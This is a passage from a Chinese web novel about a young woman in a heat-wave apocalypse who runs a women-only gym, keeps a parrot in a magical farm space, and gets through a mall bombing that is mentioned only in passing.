【范槿：我这个拥有14387个粉丝的大V肯定会帮你拍到很多精彩的素材！】 【范槿：猫猫嘚瑟.gif】 【肖琳琳：薇薇，包饭有什么？】 【肖琳琳：我可以去你家吃饭吗.jpg】 【秦小薇：猪油炒饭和拍黄瓜，还有蔬菜汤。】 【秦小薇：琳琳，来不来？店里今天忙飞了，你来就抓你当壮丁！】 【秦小薇：阴险.jpg】 【肖琳琳：来！我好久没吃米饭了！】 第二天傍晚，秦小薇起床后没多久，就接到了陆昼的电话。 陆昼今天出门依旧带着狗，不过除了狗之外，他车里还有一个鸟笼子。 笼子里赫然就是之前拉布拉多救下的那只黄色羽毛的小鸟，它翅膀上的伤已经好了，正挂在笼子里梳理自己的羽毛。 看到从头到脚裹得严严实实、连眼睛都藏在面罩后面的陆昼，秦小薇挑眉：“你这是什么打扮？” 陆昼：“今天要去户外工作，套件冷却服防中暑。” 秦小薇想到奚川那十几套颜色不一样的冷却服，提要求道：“你还有多余的吗？给我弄一套。” 陆昼敷衍她：“你不是已经适应外面的高温了？有没有都没区别。” 秦小薇：“……”虽然她不会中暑，但她会觉得热啊！ 她怀疑地看着陆昼：“你明明有这种好东西，之前谈判的时候，为什么不拿出来？还让我吃药适应环境温度……你当时是不是故意在整我？” 陆昼轻咳一声，把鸟笼子递给秦小薇：“晚点给你送一套！这只鹦鹉放你空间里养着，它不习惯在屋里关着，天天用脑袋撞玻璃，还拔自己的毛……” 看他这反应，秦小薇就知道自己猜对了，她在心里骂了句狗东西，最后还是没在车里对他大打出手。 附近来来往往也有一些行人，要是被误会他们在车震……她先记着，以后再教训他！ 秦小薇伸出手指去逗笼子里的小鸟：“这是鹦鹉？看着不像啊！它会说话吗？它的翅膀好了没？好了你给它放生了不就行了？” 陆昼：“外面这么热，放它出去啃树皮？为了救它，我费了不少工夫，我可不想做白工……” 秦小薇：虽然但是……他说得好像有点道理。 秦小薇：“我发现你这个人，对同类虽然很冷漠，但对小动物还挺有爱心的。” 陆昼嗤笑一声：“有爱心？那你对我的认知偏差还真大……我只是不喜欢做事半途而废而已。” 秦小薇低头看着笼子里毛茸茸的鹦鹉：“它吃什么？” 陆昼：“谷物、蔬菜、水果，你把它放空间里，它应该会自己找吃的……” 之前陆昼还在空间里的时候，开垦出了不少土地，种了很多东西，农场里多一只鹦鹉，似乎也没什么压力。 这么小一只，也吃不了多少东西！ 而且这只鹦鹉的羽毛实在是很漂亮……秦小薇便直接答应了。 她提着鸟笼子回了公寓，到家后，她直接进了空间。 秦小薇打开鸟笼子，鹦鹉拍拍翅膀，就飞出了笼子，停在不远处的一棵树上。 秦小薇想了想，并没有把笼子收起来。 她把笼子挂在猎人小屋的窗沿下，又抓了把小米，放在笼子的食槽里，还往食槽里倒了些水，笼子门也 一直开着。 要是它不会自己找食，飞回笼子里也不至于饿死…… 不过这只鸟真的是鹦鹉吗？回来这一路，都没听到它叫，也没听到它说话…… 安置完鹦鹉，秦小薇又开着车沿着工坊转了一圈，等她提交完今天的订单后，她惊讶地发现，农场空间升到27级了，解锁了海鲜餐厅和番茄虾滑汤。 好消息：以后不用自己动手开火，就可以吃到成品海鲜了！ 坏消息：她根本没攒金币，没钱买海鲜餐厅。 她看了下，下一级会再解锁一根钓竿、海鲜沙拉和椒盐大虾。 除了鱼肉和虾肉，海里经常能钓上来各种水果让她改善生活，偶尔还能钓上来一些像是“彩蛋”的装饰物，鱼竿算是她最喜欢的“基础建筑”了。 看到升级奖励后，秦小薇觉得自己又有肝订单的动力了！ 仓库的格子应该够用了，最近先不开格子了！先攒金币把海鲜餐厅建起来！ 工坊里出产的东西不仅好吃，还方便，炭烤培根她都吃了好几个月了，依旧没有吃腻。 不敢想象，再解锁三道成品海鲜，她会变成多么活泼开朗的小女孩！ 之前陆昼开垦的地太多了，再加上空间温度适宜，这些作物都长得非常好，她每天进空间后，浇水收菜的时间都比收黑土地、工坊生产的东西的时间多。 等她空闲了，想办法安个自动灌溉系统吧！ 因为要蹭她堂哥的车，范槿来得稍微晚一些，段霞和肖琳琳还没开门就来了。 “薇薇，有什么活要我们干的？”肖琳琳四处打量着健身房里的装修。 秦小薇递给两人两份便当盒：“劳务费，吃完了再干活吧！不着急，要再过两个小时才会忙起来……” 肖琳琳：“好香！天天吃能量饼干，我感觉我都快要味觉失灵了！薇薇，你们健身房的员工都包饭吗？” 段霞没有说话，已经打开便当盒、拿起筷子往嘴里扒饭了。 秦小薇：“怎么可能？现在外面粮食限购得那么厉害，我们老板也没那么大本事再弄个食堂……这是你们作为室友的专属福利！” 不过健身房虽然不包饭，但是淡化水却是管够的。 她定了一批水桶，还找陆昼帮忙弄了一个桶装水封口套膜一体机，贴上其他省的牌子，利用空间里的海水淡化设备，生产了一堆淡化桶装水。 然后把它们伪装成是从沿海地区弄来的淡化桶装水，因为味道和外面的淡化水差不多，市政某些机构也在喝这种淡化桶装水，陆昼还专门安排了人给店里“送货”，并没有引起其他人的怀疑。 店里的员工只以为是老板的“门路”比较多。 肖琳琳：“嘿嘿！” 今天的客人并不比昨天少，几个教练从开门开始，就没停下来过，来买东西的人太多了，中途，肖琳琳和段霞还充当了一会收银员，秦小薇也一直忙得脚不沾地，就连中饭，都是她们四个轮换着吃的。 关门后，范槿狠狠松了一口气：“薇薇，你这也太忙了！现在不是高温吗？我还以为健身房都没人去了……” 段霞：“是啊！我之前工作的培训机构，因为学员太少，老板都快经营不下去了！” 秦小薇托腮想了一会：“我觉得还是因为定位不一样吧！阿霞，你们之前那个机构的目标群体是想走体育生路线的孩子，现在这个环境，各种体育比赛都取消了，家长们没信心，觉得学体育没前途，再加上孩子还小，想要观望观望，也很正常……” 段霞：“那倒也是，干咱们这行，没参加过比赛、拿过几枚金牌，找工作当教练，人家都不愿意用你，觉得你没本事！” 秦小薇：“晚上继续吃炒饭，你们去阳台看看，想吃什么菜自己摘！” 和空间里的菜相比，阳台的菜都有些蔫吧，不过秦小薇的公寓里一直开着空调，再加上她浇水施肥比较勤，高温这几个月，她之前种在阳台的菜也活下来了三分之二。 因为品种多，她偶尔在外面利用空间里的菜做点什么吃的，也不用担心附近的邻居闻到味道发现不对。 范槿：“薇薇，你这小米椒长得真好！我家里也种了辣椒，长得倒是挺高，但是根本没结多少果……” 秦小薇：“是不是没有打顶？小米椒要打顶，结果才会多，还得摘侧枝、摘老叶才能长得好。” 范槿挠头：“不知道哎，都是我爸在打理，我回去问问他！这个黄瓜怎么这么弯，一看就是长残了，薇薇，我帮你吃掉它！” 肖琳琳：“我能申请在炒饭里放辣椒吗？我好久没吃辣了！” 段霞：“我想放葱！” 听到三个室友的话，她忍不住笑了：“没问题！” 吃饭的时候，段霞问她：“薇薇，我看你这挺忙的，明天还需要我们过来帮忙吗？” 秦小薇想了想，开口道：“你们要是过来也行，我让财务按兼职给你们开工资。” 事实上，如果段霞没提，她也打算在学院里找人过来兼职顶一下的。 至于后面还要不要招正式员工，要看试营业这半个月的效果…… 肖琳琳：“有什么不行的？我们和阿霞都失业了，天天在寝室躺着也没什么事！能有份兼职过渡一下也挺好的……要不然我们天天想着校招秋招的事，也挺烦的！” 范槿的手搭上了秦小薇的肩膀：“薇薇，也算我一个呗！我给你拍视频、剪视频……你现在当上店长了，记得帮我们和老板争取一个高一点的工资，苟富贵勿相忘啊！” 见三个室友似乎都不在乎在她“手下”做事，秦小薇爽快点头：“行啊！那你们来吧！” 第60章 第60章烧椒皮蛋酱（双更合一）…… 送走了三个室友后,秦小薇也没闲着，她先是复盘了一下今天的营业，之后又开车去了射击馆,练了一个多小时的枪。 回来之后,秦小薇收到了范槿发过来的视频,她把视频从头到尾播放了两遍，视频剪得很好,还配了字幕和音乐,完全凸显了阳光健身房的优势。 秦小薇非常满意，登录账号,把视频传了上去。 之后，她又挤出来一个多小时的时间，在空间里练拳。 在空间里冲完澡之后,秦小薇发现,之前飞走的鹦鹉，又飞回来了，正蹲在笼子里啄食食槽里的小米。 它身体大半的羽毛都是黄色的,只有翅膀上的一小片尾羽，是漂亮的浅绿色,这只鸟很漂亮,和农场的童话风倒是很搭。 秦小薇弯腰盯着它：“喂，听说你是鹦鹉，会说话吗？‘你好’会说吗？你好——你好——” 笼子里的鹦鹉并没有理她,依旧低头啄食小米。 秦小薇 在笼子外面“你好”了半天，它一点回应都没有。 秦小薇有些泄气地嘟囔了一句：“难道是伤了嗓子成了哑巴鹦鹉？” 谁知她刚站直身体，鹦鹉就回了一句“傻狗”。 秦小薇：？？？ 这鸟怎么还骂人呢？是不是陆昼教的？ 难道他把鹦鹉送过来，是想让鹦鹉骂她？ 正常人应该没这么无聊吧？ 她把手指伸进笼子里,戳了戳它的羽毛：“说你好——” 鹦鹉又不理她了。 秦小薇：“哑巴鹦鹉，说话。” 鹦鹉：“笨狗！” 秦小薇：“……”算了，她大人有大量，不和一只鸟计较！ 鹦鹉吃完饭，就拍拍翅膀飞走了，它似乎是把窗台上挂着的鸟笼子当成了一个自助食堂。 第二天傍晚，陆昼就把秦小薇要的冷却服送过来了，颜色是能亮瞎人眼的亮黄色，在路灯的照耀下，冷却服的亮面还会反光。 秦小薇：好丑的颜色！陆昼怎么会定制这么丑的冷却服？审美堪忧啊！ 虽然心中吐槽，但这件衣服的每一个细节都是金钱的味道，她也就没有嫌弃，当场就套上了。 冷却服拎着有点重，但穿上以后，衣服的重量均匀分布在身体各个部位，再加上秦小薇体力好，并不会影响她的正常活动，跑跳都没问题。 不愧是用航天材料制作的黑科技衣服，穿上以后，秦小薇立刻感觉周身的温度降了下来，一下子舒服多了！ 要是之前能做到人手一件，高温过后，就不会有人中暑热死吧？ 不过想想也不太可能，这东西制造成本这么高，要真是人手一件，财政得多出多少钱？ 试营业很顺利，过了刚开始那几天，店里的客流渐渐稳定下来，秦小薇也有更多的时间练拳、射击、做自己的事。 肖琳琳和段霞之前就在培训班当教练，对健身房的工作还算适应，秦小薇给她们安排的工作是帮客人做体能训练和体能测试，这对她们来说，也算是专业范畴了。 那些选择自己练习的客人偶尔找她们求助，她们也能指点一番…… 范槿以前就喜欢拿个手机拍拍拍，然后在网上和粉丝互动，对于“宣传”的工作，也适应良好。 再加上三个室友都在这，秦小薇对她也没有什么KPI的要求，她在健身房待得还挺开心的，唯一的问题就是她住在家里，每天都得她堂哥接送她，等她堂哥回老家了，通勤会很麻烦。 不过秦小薇现在没那么忙了，现在招人也容易，范槿要是不干了，秦小薇既可以自己顶上，也可以招人顶上，这个问题很好解决…… 这天，秦小薇正在剪盐袋子装罐，范槿忽然来找她：“薇薇，你自行车借我一下，网上有粉丝说找不到我们店的位置，我下去拍个指路视频，之后发在咱们的账号上……” 秦小薇：“现在外面这么黑，能拍得清楚吗？要不明天傍晚再拍？” 范槿：“没事，我可以打手电筒，再说了，商场那边的大马路上还有路灯呢！能拍清楚的！” “那你去吧！”见她坚持，秦小薇放下盐袋，从口袋里掏出钥匙扔给她。 健身房的淡化水是免费供应的，外面温度很高，出汗多了容易脱水，所以秦小薇在饮水机边上放了一个透明的玻璃罐装盐，盐罐里的勺子都是她特地挑选过的。 健身房提供的一次性纸杯，加上平平一小勺盐，刚好是专家们推荐的适合高温天气的淡盐水浓度，盐罐边上还非常贴心地贴了“使用说明”。 盐罐装满之后，秦小薇就没什么事了，她找了个角落坐下，拿出手机准备打游戏。 之前太忙了，她已经快一个月没上线了，错过了不少活动。 可能是因为大家都关在家里，这段时间，游戏这种线上娱乐行业，倒是繁荣了不少，很多游戏公司抓住机会，这几个月出了不少活动和新玩法，来增加玩家留存率，争抢用户。 她玩了一会，前台就找了过来：“店长，有个男顾客团了张体验课的订单，说想找教练上课……” 秦小薇皱眉：“详情页里不是写了吗？咱们健身房，只接受女顾客的预约，你让他退了吧！” 开了健身房之后，秦小薇才注意到，有些性格比较腼腆的女孩子，在锻炼的时候，被异性注视着，会感到非常不自在。 为了提高她们的消费体验，她特地把售货区搬到门口，还在售货区和健身区之间拉了道帘子，给顾客制造一个只有同性的私密运动空间。 前台有些为难：“我说了，但那位顾客说想正价买课……” 秦小薇在团购软件上上架的体验课很便宜，一节课只要几十块，但正价课却不便宜，十几节课就要好几千。 在秦小薇原本的规划里，会员和卖课是健身房的收入大头……办卡卖课之后，相关的销售人员也可以拿到提成。 有提成，前台心动也正常。 秦小薇毫不犹豫地摇头：“不卖，我们健身房只接待女客。” 前台点点头，离开了。 解决这个小插曲之后，秦小薇低头继续玩手机，大概一个小时后，她发现了不对，范槿怎么还没回来？ 想到外面现在的治安环境，秦小薇有些担忧，她拿出手机，给范槿打了好几个电话，但一直没人接听。 她的眉头皱了起来，她起身去找了肖琳琳和段霞：“琳琳、阿霞，饭饭说去楼下商场附近拍个引路的视频，已经出去一个多小时了，还没回来，我担心她出事了，咱们出去找找她！” 肖琳琳：“你给饭饭打过电话了吗？” 秦小薇：“打了，一直没人接！” 段霞：“那咱们快走吧！” 路过售货区的时候，秦小薇还顺手拿了几件防身物品带上。 刚下楼，秦小薇就发现今天外面似乎格外“热闹”，警车和救护车的声音连绵不绝，健身房装修的时候专门做了隔音处理，再加上门窗都关着，她们在楼上完全没听到动静。 她心中一紧，范槿不会真的出事了吧？ 三人顺着声音去了商场附近，商场门口的广场上挤满了人，不断有医生抬着担架从商场里出来，担架上的人大多伤得很严重，有些人身上连一块好肉都没有，连痛苦的呻吟声都发不出来。 秦小薇在广场上找人打听了一下，才知道商场里面不知什么原因发生了爆炸，因为人口密度太大，炸死了不少人，还引起了小范围的火灾。 要不是商场里消防设备齐全，这几个月网上又一直在宣传如何应对火灾，里面的人及时用灭火器把火灭了，否则现在整个商场都已经烧起来了…… 但爆炸的威力似乎不是很大，除了爆炸中心附近的人，外围的人基本上没有受伤，连门口的玻璃都没有震碎。 联想到陆昼之前说的，临时避暑点有人有组织地进行诈骗，还骗未成年少女进行活人祭祀……她有点怀疑，这事不会也是那批人干的吧？ 三人沿着大马路找了一会，几分钟后，她们在广场对面的马路旁找到了秦小薇已经上锁的自行车。 秦小薇松了口气：“还有时间给车子上锁，饭饭应该没出事！” 段霞指了指远处人来人往的商场：“饭饭是不是过去帮忙了？我听到有人说，里面除了医生和警察，还有普通市民在维持秩序、帮忙救人……” 段霞：“有可能！不过现在商场外面拉了警戒线，咱们进不去……” 秦小薇：“在这等会儿吧！来了这么多救护车，伤员应该很快就会被拉走！” 范槿的电话打不通，没确定她的安危，三人都不敢离开，便留在马路旁等人。 秦小薇：“你俩出了好多汗，要不回健身房等吧！” 肖琳琳抹了把额头上的汗：“没事，我回去吃颗药，应该不会中暑。” 三人又等了二十来分钟，陆续有大巴车和公交车开过来，把广场上的人运到其他的临时避暑点安置。 毕竟外面这么热，这些人又长时间待在空调房里，在户外待久了，他们很容易中暑，会给宁市的医疗系统造成更大的压力！ 但这场爆炸后，不少人都有些心有余悸，担心其他的临时避暑点也会出这样的事，有人选择回家硬熬，还有人联系亲戚朋友，打算去亲戚朋友家凑合一下…… 半个小时后，满身血污的范槿来找自行车了。 看到她狼狈的模样，三人拉着她上下检查：“饭饭，你没事吧？” 范槿：“没事，我没受伤，这都是别人的血！” 段霞：“饭饭，你怎么不接电话？我们还以为你出事了！” 范槿：“手机摔了一下，开不了机了……唉，我的素材！” 秦小薇捏了下她的脸：“别管素材了，素材没了还能再拍，人没事最重要！” 肖琳琳：“饭饭，你怎么跑商场里面去了？” 范槿：“我当时正准备回去，突然就听到商场里面传来一片爆炸声，然后里面的人就疯了似的往外挤，我想着这事发到我的账号上应该能涨点粉，就多拍了一会……” “后来警察来了，我看他们维持秩序的人手不够，就过去帮了个忙……再然后，我发现里面的伤员也挺多的，刚好我之前考了救护员证，就留下来帮忙了……你们不知道，现实中那些伤口和照片视频里完全不一样，可吓人了！我刚开始帮忙搬人的时候，手都在抖……” 段霞和她要了钥匙打开自行车的锁：“行了，回去再说吧！先把你这一身血处理一下！” 肖琳琳对商场里发生的事非常好奇，便打听道：“饭饭，里面到底出什么事了？怎么忽然发生了爆炸？” 范槿回忆着自己帮忙的时候听到的八卦：“好像是有对夫妻被人排挤了还是什么，他们上周又收到了独生子出事的消息，可能是接受不了，心态失衡，就自己搞了个土炸|弹报复社会……听说那土炸|弹威力不大，要不是里面人多，根本不会造成这么大的伤亡……” 秦小薇不能理解：“他们这也太极端了，被欺负了就用自己的命报复，还牵连到这么多无辜的人……” 段霞的表情则有些担忧：“薇薇，这边的临时避暑点撤了，会不会影响咱们健身房的生意啊？” 毕竟她们的顾客中，有不少人是住在商场里的。 秦小薇想了想：“影响肯定会有，不过咱们的目标群体是整个宁市的单身女性，做好宣传的话，影响应该不会太大！” 范槿拍了拍自己的胸脯，保证道：“薇薇，我肯定好好帮你拍视频，绝对不会让你因为业绩不行被老板裁员的……” 秦小薇：裁员倒是不太可能，毕竟她自己就是老板！ 回健身房后，秦小薇直接提了一桶淡化桶装水进浴室，让范槿去浴室洗澡换衣服。 健身房是配了单人隔间浴室和更衣室的，但是现在停水，浴室基本上属于空置状态。 商场的事造成了不少伤亡，但高温这几个月，就算国家已经提前做了措施，依旧有很多人死于中暑，商场的伤亡数据混在其中并不显眼。 事情很快就平息下来了，除了亲历者，其他人很快就遗忘了这件事，官方也只做了个简单的警情通报，这件事就算是过去了…… 爆炸过后，健身房的客流确实变差了一点，但整体影响并不是很大，秦小薇暂时不用担心健身房会倒闭的问题。 一转眼，又是五天过去，秦小薇对健身房的“工作”也越来越适应——其实她作为店长，把握大方向就行了，店里那么多员工，她每天要处理的事并不多，她大部分时间都在摸鱼玩手机，练拳、练枪的时间也富裕了许多。 范槿的大伯看完病，已经回老家了，为了方便“上下班”，范槿又搬回寝室住了。 她大伯身体里长了个瘤子，按照现在的医疗情况，医院是不给做手术的，但国际部这种专为有钱人服务的地方除外……他们家里人商量了一下，最后东拼西凑借了点钱，把人送来宁市做手术。 毕竟暴雨过后，医疗环境就没变好过，他们也不确定，再拖几个月，她大伯的情况会不会恶化。 这天，秦小薇正在售货区帮忙补货，边上一个顾客忽然嚎了一嗓子：“高温要结束了！” 她的话，瞬间引起了店里所有人的注意。 “什么？真的吗？你从哪看到的消息？” “短信！预警中心又发短信了！你们快看短信！”顾客激动得嗓子都快喊劈叉了，震得秦小薇耳膜痛。 屋里的人顿时都停下手上的动作去看手机。 虽然早就从陆昼那知道，预警中心近期会再发一次短信，但真到了这个时候，秦小薇依旧十分激动。 可能是被其他人影响的吧！ 预警中心并没有像以前一样，连发好几条短信，每条短信都编辑一大段文字，恨不得把所有的注意事项都塞进去……这次的短信非常简短，也就公告了高温天气会在两个月后结束的消息。 事实上，就算预警中心不公布，等过几天，天气预报刷新了，普通人也能从刷新的天气预报中看到端倪。 和上次的暴雨涨水相比，这场高温天气实在是持续了太久！ 虽然最基础的食物和饮用水一直都有保障，但人活着，除了食物和水，他们还需要很多其他的东西。 普通人生活中的种种困境，都让他们感到绝望……现在看到预警中心发短信说，这场灾难是有尽头的，健身房里很多人都激动地欢呼起来。 “等高温结束了，我要买一个浴缸放家里，天天泡澡！没水洗澡的日子太难受了！” “我要囤十箱矿泉水！淡化水太难喝了！我对去海边旅游都祛魅了！” “两个月太久了！不过三个月我都熬过来了！后面两个月应该没那么难！” “……” 这样的场景，也在国内其他地方上演着。 网络上，也掀起了一场又一场的狂欢，在家里关了三个多月，一出门就疯狂冒汗，还有中暑的风险，就算过了快三个月，有些人依旧没有适应这样的变化。 网友们都在热情地讨论着高温结束之后，要做什么…… 有些软件也与时俱进，在主页上加了“距离高温结束还有X天”的倒计时。 半个月的试营业很快就过去了，试营业期间，秦小薇发现了不少问题，她打算整改之后，再正式开始营业。 首先，就是健身教练不够的问题，秦小薇打算再招几个专业的散打、武术教练，丰富她们健身房的课程种类，毕竟各种女子防身课，算是她们健身房能在高温中生存下来的核心。 不过教练得好好找，要找有真本事的，花架子可不行！ 还有就是部分员工的服务也有些小毛病，需要再培训一下…… “薇薇，我爸听说我天天在你这蹭饭，他来接我的时候特地带了烧椒皮蛋酱，让我送给你，你拿回去尝尝……”试营业的最后一天，范槿下班后又折了回来，给秦小薇送了一个大号的玻璃罐。 秦小薇：“哪有天天，你们也就隔两天在我家吃一顿……叔叔太客气了！” 范槿：“这是我爸的独门秘方，配米饭和面条都是一绝，你拿回去试试！” “知道了！对了，你在这等一下……”秦小薇抱着罐子回了公寓，片刻之后，她带着一袋新摘的小米椒跑了下来，“你不是说叔叔喜欢吃辣吗？我一个人吃不了这么多小米椒，你拿回去给叔叔做辣椒酱吧！” 范槿兴奋地接过袋子：“嘿嘿，那我就不客气了！到时候做好了，我带一罐过来，咱们配炒饭吃！” 秦小薇和她开玩笑：“叔叔知不知道他的小棉袄漏风？” 范槿笑出了两个小酒窝：“现在天气这么热，小棉袄漏风才好呢！凉快……行了，我回去了，晚点视频剪好了再发给你！” 秦小薇：“行！” 健身房关门后，秦小薇直接回了自己的公寓，想到范槿的“安利”，她直接进空间煮了一锅大米饭，又炒了两个菜。 可能是因为现在天气太热，范爸爸做烧椒皮蛋酱的时候多放了点盐，空口吃有点咸，但就像范槿说的那样，拌饭一绝！ 秦小薇不知不觉就干掉了几大勺。 感觉以后可以试试自己做，空间里好像没皮蛋了，要不用新鲜的鸡蛋做一点？反正养鸡场生产的鸡蛋她又吃不完……皮蛋怎么做来着？出去找找教程吧！ 她吃得正开心，一只浅黄色的鹦鹉就扑腾着翅膀，在她的饭桌上停下了。 “喝水！喝水！”鹦鹉粗着嗓子冲着秦小薇喊道。 养了这么些天，秦小薇也发现了，这家伙除了“吃饭”“喝水”，就只会说“傻狗”“笨狗”，而且只有饿了、渴了的时候，才会跑过来和她撒娇，用脑袋蹭她的手。 可以说是非常现实了！ 不过它长得好看，撒娇的时候也是真的萌，秦小薇也就不和它计较了。 就当那些食物和水是撸鹦鹉的嫖资了！【你现在阅读的是 】 60-70 第61章 第61章蹭水（双更合一）…… 秦小薇把手伸到鹦鹉的下腹部,鹦鹉顺着她的手爬到她的食指上，两只小爪子紧紧抓住了她的手指。 秦小薇去窗台旁看了看，饮水器里还有水,不过这家伙娇气得很,不喝放了好几天的水,所以秦小薇隔一两天就会给它换一次 水。 换好水之后，小鸟蹭了蹭她的手,发出几声清脆的鸣叫,才拍拍翅膀，飞回了笼子里。 秦小薇：“小黄,下次要说谢谢，知道了吗？谢谢——谢谢——” 她站在笼子外面，进行了一会“无用功教学”,才回到饭桌前,继续吃饭。 吃完饭，出了空间后，秦小薇看到年级群里有人在@她,她点开消息才发现，是辅导员的消息,他们学院的老师将会在一周后组织一场线上毕业答辩,辅导员通知他们做好准备。 最近都在忙健身房的事，她都快忘了，她现在的身份还是个还没毕业的大学生！ 虽然末世已经来了,她也自己开店创业当了老板，但穿越以后她一直坚持上学、实习，现在这段旅程就要走到尽头了，她想给它画个完美的句号……毕业证还是要拿的！ 虽然毕业论文早就写好了,但毕业答辩还是要再准备一下的，秦小薇默默在自己的日程里加上了“准备毕业答辩”这一项。 忙碌的日子总是过得飞快，一转眼，就到了毕业答辩的时间，因为提前做了充足的准备，再加上有上辈子答辩的经验，学院的老师也没有为难他们的意思，1206的四人都很顺利地通过了毕业答辩。 【段霞：毕业答辩都来了，校招应该也快了！我打印了好多份简历，就等着投出去了！】 【范槿：我妈说要给我买两套西装，让我找工作的时候穿。】 【范槿：不过我估计要等到高温结束才有招聘会，我最近都没看到有什么公司在招聘……】 【秦小薇：店里下周一开始正式营业，你们还来做兼职吗？】 【范槿：来！刚好可以回学校逃避一下我爸妈的催婚，还能赚点零花钱，一举两得，嘿嘿！】 【段霞：我也来。】 【肖琳琳：来！在寝室待着好无聊，至少在健身房还能活动一下手脚！】 【秦小薇：行，那我就不在学院里另外找兼职了！】 凌晨从空间里出来后，秦小薇给陆昼打了个电话。 陆昼：“喂，有什么需要我帮忙的？” 秦小薇：“……不要说得我好像一直在占你便宜似的！当初可是你求着我和你合作的！” 陆昼：“所以……你今天没事找我帮忙？这个电话是特地打过来问候我的？” 秦小薇：“那倒也不是……小黄最近在换毛，这几天身上长了好多羽管，还一直蹭我的手让我帮它弄，但我上手帮它了，它又疼得一直叫，我想找个兽医帮忙看看……” 鹦鹉身上最近长出了很多羽管，它身上的羽管，像是超市里鸡翅上没拔干净的羽毛，脑袋则跟个刺猬似的，非常影响它的颜值。 身上的羽管它自己用嘴啄掉了，头上的啄不到，就只能找秦小薇求助。 她上网查了查，网友说要是养了两只鹦鹉，它们就会互相帮忙啄羽管，但要是只养了一只，就得主人手动帮忙清羽管。 秦小薇以前还挺喜欢它和自己撒娇的，但小黄换毛后，它每次过来撒娇，秦小薇都觉得头皮发麻——它头上一簇簇刺状的毛堆积在一起，就像是顶着一堆虫子，能让人犯密集恐惧症。 陆昼：“小黄？那只鹦鹉？你的起名水平还真是令人堪忧！” 秦小薇不满：“……你抓错重点了！” 陆昼：“我给你个地址，你带它过来吧！” 收到陆昼发过来的地址后，秦小薇又进了趟空间，把鹦鹉装进鸟笼子里，带了出来。 陆昼给的地址离公寓并不远，在一栋高档小区内，小区门口还有保安守着，她给陆昼打了个电话，又登记了身份信息和车牌号，保安才放她进去。 这个小区是近一年新建的楼盘，和外面的高档小区很不一样，整个小区的楼栋都通过回廊连接在一起，回廊还用玻璃封了起来，风吹不着，雨淋不着。 每层楼都有花坛和绿化，甚至连车子都能通过专门的电梯进入高楼层，高楼层的住户也能把车停在自家门口。 她看到网上说，这是很多建筑大师设计的新一代住宅，能为里面的住户提供更好的居住环境，算是未来建筑的发展方向，以后新建的房子都会按照这个方案设计。 不过国内目前已经建成的新一代住宅楼并不多，整个宁市，也就只有这一个小区有。 秦小薇按照保安的指引找到了陆昼家，他家独占了一整层楼，门口的绿化带里种的不是花草，而是各种耐高温的蔬果，但外面的温度太高了，很多植物的叶子都黄了，一副随时都会死掉的模样。 陆昼穿着一套深蓝色的长袖居家服，鼻梁上还架着一副金丝边眼镜，眼镜有些反光，中和了他身上那种锋利的气质。 他没让秦小薇进门，换了鞋子就带着她朝着另一边的回廊走去。 秦小薇打量着周围的建筑，好奇道：“陆昼，这小区不比我那公寓楼好？你怎么没让奚川在这里买房？” 陆昼：“这是后来建的……我回来的时候，那里是最好的选择。” 奚川带着她穿过几条走廊，从另一边的电梯去了另一栋的一楼大厅。 进入一楼大厅后，秦小薇震惊了：“你们小区还配了医院？” 奚川：“不是医院，只是一个简单的医务室。” 秦小薇：这配置，比Q大的校医院还好，影像科、手术室都有，还分了科室，他竟然说是医务室？ 关键是，外面医疗挤兑，这里却连个看病的人都没有，医务人员闲到在工位上玩手机……真是旱的旱死，涝的涝死！ 她原本以为，国际医疗部已经让她见识到了穷人与富人之间医疗资源的参差，来了这里之后，她才发现，自己的见识还是太少了！ 奚川没有挂号，直接带着她进了一间诊室，诊室里坐着一个年轻的医生，正对着电脑敲键盘。 奚川敲了下桌子：“老唐，给这只鹦鹉看一看……” 他示意秦小薇把笼子放桌上。 秦小薇放下笼子，和医生说了下小黄的症状，她扫了眼医生的工作证，心内科医生？让他给鹦鹉看病靠谱吗？ 算了，人家至少是个学医的，肯定比她懂得多！ 唐医生把鹦鹉从笼子里抓出来，仔细检查了一番，片刻之后，他放下了鹦鹉：“没什么事，它脑袋上这些羽管还没成熟，你掐羽管它肯定会疼，再过几天就好了，这些天多喂它一些蔬菜、水果、油料……” 他说得随意，似乎很笃定秦小薇能弄到这些东西。 毕竟现在能住这个小区的，不是有钱就是有人脉，弄点物资，对他们来说并不难。 秦小薇又问了该怎么判断羽管是否成熟以及清理羽管的正确手法……才提着笼子离开。 陆昼带着她，折回了他住的那栋楼。 秦小薇看着笼子里的鹦鹉，忽然想到了一件事：“陆昼，你之前是不是教小黄骂我了？” 陆昼有些错愕：“什么？” 秦小薇：“小黄天天不是笨狗就是傻狗，一句好话都不会说，不是你教的？” 陆昼：“……” 陆昼：“我没有，它在我这的时候根本没开过口，我还带它去检查过声带……可能是它以前的主人教的？” 秦小薇对着他挥了挥拳头：“你最好说的 是实话！” 陆昼：“……” 看到自己的车后，秦小薇冲着他摆了摆手：“走了！” 陆昼却叫住了她：“先上楼，我有事找你！” 秦小薇：“行吧！” 秦小薇跟着他回了楼上，这个小区虽然都是高层楼房，但是每层楼的层高很高，屋里还有楼梯，单看里面，和某些高档小区的双层别墅也没什么区别。 陆昼家除了拉布拉多的娱乐区有很多彩色的玩具，屋里其他地方都装修得很简单，颜色以简单地黑白灰为主，全屋都铺了地毯，踩上去软软的。 她刚进屋，拉布拉多就扑了过来，疯狂用尾巴抽她的小腿。 秦小薇：“好了，好了，别抽我了！再抽下去明天我的小腿要青了！” 安抚完拉布拉多，秦小薇才看向陆昼：“要收什么物资？” 陆昼挑眉：“我找你就只能收物资？” 秦小薇：“不然呢？你想和我打一架？” 陆昼：“你这人怎么这么暴力？找你买点肉改善伙食，香肠不爱吃我之前冷冻的肉，……” 秦小薇：“……”陆昼这人虽然不怎么样，但当他的宠物，真的挺幸运的！ 她想了想：“我空间的产出可不卖，不过……你要是拿东西换的话，也不是不行。” 陆昼：“你想要什么？” 秦小薇原本是想让他用空间里那几车物资换的，但转念一想，她除了空间里的鱼肉、虾肉和培根，很久没尝过其他的荤食了…… 秦小薇：“你家里都囤了什么冻肉？” 陆昼：“跟我来。” 陆昼带着她走楼梯去了楼下，楼下有两道厚重的大铁门，开门前，陆昼扔给她一件能裹到小腿的棉服：“穿上，里面是冷库。” 秦小薇：“……” 她还以为，陆昼会在家里买很多冰箱囤物资，万万没想到，他竟然直接在家里建了一间冷库！噢，那边还有一个门，是两间冷库！ 她套上衣服，和陆昼一起进了冷库，冷库里全是货架，货架上堆满了箱子，每个箱子外面都标注着箱子里装了什么，方便主人寻找。 箱子里几乎什么都有，牛肉、羊肉、驴肉、海鲜……各种内脏、半成品熟食。 秦小薇觉得，她要是想把这里的东西挨个吃上一遍，估计都得花上好几个月！ 